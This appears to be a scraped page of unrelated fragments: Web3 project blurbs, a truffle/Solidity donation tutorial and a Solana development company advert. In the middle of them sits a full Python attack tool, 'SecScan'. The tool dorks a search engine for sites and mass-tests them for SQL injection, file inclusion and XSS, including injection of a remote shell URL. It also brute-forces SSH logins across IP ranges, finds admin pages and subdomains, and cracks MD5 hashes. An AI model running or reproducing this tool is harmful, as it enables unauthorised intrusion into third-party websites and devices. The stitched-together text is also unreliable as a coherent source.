This is a code repository for the corresponding video tutorial. In this video, we're going to build a Web 3.0 React Solidity Blockchain Application

My first Web3.0 project CryptoKet made using the immense power of Solidity and Next.js. This project combines futuristic elements of Web3 blockchain development and the popular culture wave of non-fungible tokens (NFT).

#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()

Voting System based on Blockchain (Web3.0 Project)

An example project for subscribing log events on web3 1.0

A python library for simulating token economies for Web3.0 and blockchain projects. Created by Stylianos Kampakis, PhD, CStat

Primeiro projeto pratico com solidity e react

This project requires an unanimous consensus of the people (= non-permissionless) and so I leave this idea at large until the Web3.0 notices it.

Secure Donation Project based on truffle /metamask/ganache Your guide to build a project donation based on blockchain in order to ensure the traceability and the security of your money donation. Steps : Step 1:Setup your IDE coding in my case i choose VS code 1-I install the extension of truffle on VS Code .and I learn the basics of truffle thanks to the official site : https://trufflesuite.com/docs/truffle/ by the way truffle is just a development environment to code and compile your smart contract and is testing framework for blockchains using the ethereum virtual machine .So let’s take the first step : I created a folder named Nour project using this command : mkdir NourProject and also inside it i created 2 other folders :mkdir frontend and mkdir Blockchain Step2:Start with truffle so now let’s create our truffle project inside Nourproject/Blockchain thanks to the command truffle init Now let’s create our smart contract named Donation.sol in Nourproject/Blockchain/contracts and in direction Nourproject/Blockchain/migration/Donation.js fo deploying later your smart contract on ganache we will use this fil!e .js So our smart Contract looks like: //SPDX-License-Identifier:MIT pragma solidity ^0.8.0; //so contract Donation{ //struct :define your type Donor //inside struct you can grouping your different information that you wanna track it struct Donor{ //uint (only integer without minus) uint id ;//id of donor string name;// the name of donor uint256 amount;// the amount of donor address sender_address;//Donprs wallet address } uint256 id=0; //Mapping is Mapping is a reference type as arrays and structs as dictionnary in python is composed essentially by key =>value mapping(uint=>Donor)public sender; //function to add another donor to take a place //payble is function its role to recieve ETH from donors in oder to store //donors data and the amount paid function addDonor(string memory name)public payable { id+=1; sender[id]=Donor(id,name,msg.value,msg.sender); } So now let’s how to complelete the donation.js in migration so after coding our smart contract we have install ganache thanks to this link: https://trufflesuite.com/ganache/ so now let’s compile the smart contract thans to this command truffle compile before we deploy it into ganache we have to add the project into ganache now let’s relate ganache to truffle test so let’s deploy it into the ganache (local blockchain test ): truffle migrate Step3 :Frontend part this part based on html /css/js So in this part just we use the basic tools of html/css/js as u see here in the image bellow : so let’s understand some buttons function as the button connect this button it’s main function is to extract address account from metamask so the steps that you should follow it in this part just build a simple button thanks to bootstrap https://getbootstrap.com/docs/5.2/getting-started/introduction/ and create a simple squelette of form and add some animation thanks to css so let’s add the script of web3.js to let our website worked on blockchain browser thanks to this script <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> so enable it by writing this piece of code //Enable Web3 async function loadWeb3(){ if(window.ethereum) { window.web3 = new Web3(window.ethereum); } } and then load smart contract from truffle thanks to it’s ABI and it’s address : you can find the ABI in build file it will create automatic when you built your contract so in my case my ABI is located in the direction of build /Donation.json so My ABI : "abi": [ { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "sender", "outputs": [ { "internalType": "uint256", "name": "id", "type": "uint256" }, { "internalType": "string", "name": "name", "type": "string" }, { "internalType": "uint256", "name": "amount", "type": "uint256" }, { "internalType": "address", "name": "sender_address", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "name", "type": "string" } ], "name": "addDonor", "outputs": [], "stateMutability": "payable", "type": "function" } ], So the address is the same of the contract address : so after loading the smart contract thanks to it’s ABI and address you can read data from and load all of it’s function by some code in js and then connect to the metamask wallet and get the address of the account after just donate by the button donate all of :this detail is written in code js you can say it in code js in the code file wish that document is helpful So as you see after donate to ether thanks for some fake ethers in the metamask wallet which is take it fro the ganache balances with simple steps just open metmask extension>settings >add network>then add the url rpc of your ganache and in the id chain write 1337 after passing the transaction another block added in the ganache so that’s all wish this documentation was helpful to you to understand the code how it running

For More Details please contact Call / Whatsapp: + 91 9840566115 Website: www.mlmappfactory.com 26, 49th Avenue, Ashok Nagar, Chennai – 600087 Solana Token Development Company We at MLM App Factory help start-ups and enterprises launch user-friendly decentralized applications powered by the scalability and speed of the Solana network. Our Solana blockchain development services cater to a range of projects spanning DeFi, Web3 and NFTs. Our Solana Blockchain Development Services Solana Blockchain Consulting Our consultancy services help you understand the prospect of Solana blockchain development for your business through strategic and technical analysis. It enables you to better leverage the speed and scalability of the Solana blockchain across a range of projects. DApp Development We help you launch scalable and user-friendly dApps on the Solana blockchain. We design and build dApps related to Payment, Token swap, Peer2Peer lending, NFT marketplaces, Stable coin and many more. NFT Marketplace Development We help you build and deploy your own NFT Marketplace on Solana Blockchain. Our development services optimize your marketplace for decentralized NFT minting, storefronts, sales and other marketplace features. SPL Token Development We help you tokenize your assets by creating new SPL tokens for them. These tokens are exchangeable on decentralized exchanges, useful for investment purpose and powers Solana dApps. Defi Development To help you tap the potential of Defi and appeal the worldwide borrowers and lenders, we build a range of Defi systems such as P2P decentralized lending platforms and Crypto loan platforms on top of Solana blockchain. Why Choose MLM App Factory for Solana Development? Wide Experience of Projects We have conceptualized, built and delivered 1000+ digital solutions and 62+ robust blockchain projects and deployed 80+ smart contracts. Impressive Work Portfolio From building supply-chain and monetary systems on blockchain to creating ready-to-deploy NFT solutions, we showcase an impressive work-portfolio. One-stop Blockchain Services Whether you are looking for developing a massive Defi or NFT marketplace project or a simple wallet development solution, we are the one-stop destination for all kinds of blockchain development services. Long-term Collaborations We build scalable relationships with our clients. Through market analysis, research and development, we continue building business and technical strategies to help our clients further scale up their projects. Benefits of using Solana Blockchain Solana makes it possible for a centralized database to process 710,000 transactions per second on a standard gigabit network. The transaction fee is less than $0.01 for users and developers Solana becomes the fastest because of its 400 millisecond block times Clock verification makes Solana unique Node synchronization makes the transactions fast. Proof of History helps in integrating timestamp with every transaction approval following to track the transactions which serve as a clock. What technology stack does Solana use? Proof-of-History A Clock Before Consensus because nodes in a distributed network can’t trust the timestamp on messages received from other nodes, the biggest problem in distributed networks is agreeing on the time and order in which events happen. Turbine Solana uses a distinct but linked protocol called Turbine to transmit blocks (communicate blocks between validators) independent of consensus. The Turbine is primarily influenced by Bit Torrent and is designed for streaming. Tower BFT A PoH-optimized version of PBFT Solana runs a consensus mechanism dubbed Tower BFT on top of Proof of History, which is a PBFT-like algorithm that uses the synchronized clock allowed by PoH to reach consensus on network transactions. Pipeline A Transaction Processing Unit for validation optimization on the Solana network, the transaction validation procedure takes full use of pipelining, a CPU design improvement. When there is a stream of incoming data that has to be processed in a series of steps with distinct hardware accountable for each step, pipelining is an acceptable technique. Archives Distributed ledger storage The use of a high-performance network to store and maintain data is expected to become a key centralization vector.

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Send Crypto across the world

B.E Computer Engineering Final Year Project - Web3.0/Solidity Based Wargames (inspired by ethernaut & damn vulnerable defi)

ImmunoBlock is the winner project at Beyond Blockchain Relay Virtual Hackathon form Gitcoin, solving the Reinventing Healthcare for Web3.0 challenge :speak_no_evil:

